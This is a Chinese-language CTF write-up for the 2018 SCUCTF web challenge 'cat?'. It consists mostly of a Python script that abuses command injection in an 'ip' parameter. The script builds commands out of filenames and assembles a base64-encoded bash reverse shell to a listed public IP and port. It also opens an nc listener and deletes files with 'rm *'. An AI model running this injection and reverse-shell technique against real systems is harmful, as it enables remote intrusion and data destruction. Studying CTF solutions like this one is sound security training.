2018 SCUCTF web题:cat?非常规题解

主要思路

1.寻找可以写入的目录
2.通过 > 构造文件名,在通过 ls -th>g 将命令写入文件
3.通过bash -i >& /dev/tcp/你的公网ip/监听的端口 0>&1构造反弹shell
4.在服务器使用 "nc -lnvp 相应端口"

python脚本如下

# -*- coding: utf8 -*-
import requests
import time
url='http://120.78.66.77:87/exec.php'

tmp='1.1.1.1;cd /t*;'

#生成ls -th >g
data1=[
	'>dir',
	'>sl',
	'>g\>',
	'>ht-',
	'*>v',
	'>rev',
	'*v>x',
	'cat x']

for i in data1:
	i=tmp+i;
	r=requests.post(url,{'ip':i})


#删除多余文件
data2=[
        'rm d*',
        'rm s*',
        'rm g*',
        'rm h*',
        'rm v',
        'rm r*',
        '>g']
for i in data2:
	i=tmp+i;
	r=requests.post(url,{'ip':i})


#公网IP:47.110.44.57
#文件名中不能出现/,所以将下面一行base64加密
#bash -i >& /dev/tcp/47.110.44.57/8888 0>&1
#echo YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMTAuNDQuNTcvODg4OCAwPiYx   |base64 -d>a

data2_5=[
        '>\>a',
        '>d\\',
        '>\ -\\',
        '>e64\\',
        '>bas\\',
        '>\|\\']
for i in data2_5:
	i=tmp+i;
	r=requests.post(url,{'ip':i})

#将data3两个字符两个字符地写入,注意不要使文件名重名!!!
data3='YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMTAuNDQuNTcvODg4OCAwPiYx'
while data3 != '':
        i=tmp+'>'+data3[-2:]+r'\\'
        data3=data3[0:-2]
        r=requests.post(url,{'ip':i})

data4=[
        '>o\ \\',
        '>ech\\',
        'sh x',
        'sh g',
        'rm *\'
        ]

for i in data4:
	i=tmp+i;
	r=requests.post(url,{'ip':i})

你可能感兴趣的:(2018 SCUCTF web题:cat?非常规题解)